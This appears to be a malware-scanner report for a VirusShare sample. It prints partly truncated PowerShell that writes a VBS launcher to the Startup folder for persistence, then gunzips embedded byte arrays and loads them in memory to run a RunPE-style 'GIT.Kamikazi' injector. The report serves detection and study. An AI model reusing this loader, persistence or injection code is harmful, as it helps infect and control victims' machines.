VirusShare_5d43e23ac3b9f8e5135f73c6f4850aeb
Obfuscated payload execution
Numeric character array payloadCode references Windows Forms assembly
SHA-256e4102f3ec58265eecd8e43e4e2de27e24b17c783cf12f5f70a47ae73fd48c57c
MaleculeO₂(As₂Co)H₅(Db₄FOsPoTi)Md
Evidence
1Add-Type -AssemblyName System.Windows.Forms
2Add-Type -AssemblyName Microsoft.VisualBasic
3Add-Type -AssemblyName Microsoft.CSharp
4Add-Type -AssemblyName System.Management
5Add-Type -AssemblyName System.Web
6
7[Byte[]] $RUNPE = @(31,139,8,0,0,0,0,0,4,0,237,189,7,96,28,73,150,37,38,47,109,202,123,127,74,245,74,215,224,116,161,8,128,96,19,36,216,144,64,16,236,193,136,205,230,146,236,29,105,71,35,41,171,42,129,202,101,86,101,93,102,22,64,204,237,157,188,247,222,123,239,189,247,222,123,239,189,247,186,59,157,78,39,247,223,255,63,92,102,100,1,108,246,206,74,218,201,158,33,128,170,200,31,63,126,124,31,63,34,190,248,169,63,233,215,248,181,127,141,95,227,215,248,117,232,255,255,247,255,253,107,252,26,127,215,175,33,207,239,169,63,55,61,127,16,253,255,55,249,93,254,158,223,228,215,248,219,126,236,159,255,93,255,174,95,243,249,63,255,187,190,153,23,77,186,170,171,139,58,91,164,211,108,185,172,218,116,146,167,245,122,153,22,203,244,233,151,175,211,69,53,203,199,191,241,111,156,252,110,10,227,229,233,175,241,107,60,255,53,127,237,95,227,224,63,254,205,255,30,3,247,63,250,53,126,173,223,245,55,252,53,119,126,141,95,227,23,210,31,191,158,124,246,251,81,187,95,35,165,255,255,1,252,231,111,198,191,255,90,130,55,30,243,243,215,248,139,228,115,60,191,246,175,241,123,254,225,104,138,255,185,159,246,7,63,63,70,112,191,196,47,127,192,175,241,107,124,251,215,214,15,253,231,15,250,53,126,141,223,136,126,252,97,79,127,141,95,227,32,242,245,224,147,254,26,191,198,111,224,253,249,27,208,223,223,246,254,30,183,249,187,150,126,206,126,119,105,203,99,85,188,205,67,31,255,1,227,186,169,167,191,134,226,246,7,252,26,50,208,173,176,221,239,73,255,27,215,121,89,77,5,215,95,227,15,250,53,4,214,168,215,238,73,248,201,175,241,107,124,118,42,63,191,253,107,224,149,95,247,215,248,231,62,38,30,248,157,126,13,230,137,175,243,252,150,59,191,206,175,241,61,250,249,107,254,26,191,198,111,254,107,252,90,91,191,233,175,241,107,36,201,214,111,70,255,254,134,205,111,78,255,254,70,191,193,214,111,65,63,126,237,234,183,164,127,171,223,138,254,249,141,127,253,31,171,126,107,250,249,107,252,250,191,93,245,219,240,207,234,183,165,31,191,222,111,243,235,253,9,69,245,219,209,111,191,229,175,179,245,219,211,143,223,252,215,169 …
8
9Function INSTALL() {
10 [String] $VBSRun = [System.Text.Encoding]::Default.GetString(@(83,101,116,32,79,98,106,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,87,83,99,114,105,112,116,46,83,104,101,108,108,34,41,13,10,79,98,106,46,82,117,110,32,34,80,111,119,101,114,83,104,101,108,108,32,45,69,120,101,99,117,116,105,111,110,80,111,108,105,99,121,32,82,101,109,111,116,101,83,105,103,110,101,100,32,45,70,105,108,101,32,34,32,38,32,34,37,70,105,108,101,80,97,116,104,37,34,44,32,48))
11 [System.IO.File]::WriteAllText(([System.Environment]::GetFolderPath(7) + "\" + "SystemLogin.vbs"), $VBSRun.Replace("%FilePath%", $PSCommandPath))
12}
13
⋯5 lines
18:60… ed"))
19 )
20 Process {
21 $input = New-Object System.IO.MemoryStream( , $byteArray )
22 $output = New-Object System.IO.MemoryStream
23 $gzipStream = New-Object System.IO.Compression.GzipStream $input, ([IO.Compression.CompressionMode]::Decompress)
24 $gzipStream.CopyTo( $output )
25 $gzipStream.Close()
26 $input.Close()
27 [byte[]] $byteOutArray = $output.ToArray()
28 return $byteOutArray
29 }
30}
31
32function CodeDom([Byte[]] $BB, [String] $TP, [String] $MT) {
33$BB = Decompress($BB)
34[Type] $T = [System.Threading.Thread]::GetDomain().Load($BB).GetType($TP)
35[Byte[]] $Bytes = Decompress(([System.Web.HttpUtility]::UrlDecodeToBytes("%1f%8b%08%00%00%00%00%00%04%00%b4%bd%09%7c%5b%c5%b5%3f%3e%baW%baZ%bc%c4%92m%d9%8e7%99%90%a08%89%e3%25%deB%12%e25q%12%3b%8e%b78%01%ea%c8%b6l%2b%91u%15Iv%e2%a4%09N%81%02eo%a14my%05B%1f%2f%af%d0%96%ae%b4%f4%fd%80W%a0%ed%a3%b4%c0%a3%0bKZ%f8w%a5%3b%a5%1b%5d%e0%f7%3dg%ee%95d%27P%fa%fb%7c%fe%04%cd%3d%e7%cc%cc%993g%ce%9csftmw%ef%bdI%a8B%08%2b%3eo%be)%c4%03B%fe%b7Y%fc%f3%ff%e6%f1%c9.%ffr%b6%f8%9c%f3%c9%8a%07%2c%3b%9e%ac%18%98%0a%c5%7d%d1%98%3e%19%0bL%fb%c6%02%91%88%9e%f0%8d%06%7d%b1%99%88%2f%14%f1%b5%ef%ec%f7M%eb%e3%c1%aa%ac%2c%d7%f9%06%8f%de%0e!vXT%91%e1%fa%c0%3e%93%efKB%11%19%16%87%10%f7%02%c9%91% …
40:18… s=@($MyPt.Replace("Framework64","Framework") ,$Bytes)
41return $T.GetMethod($MT).Invoke($null, $Params)
42} catch { }
43}
44INSTALL
45[System.Threading.Thread]::Sleep(1000)
46CodeDom $RUNPE "GIT.Kamikazi" "Execute"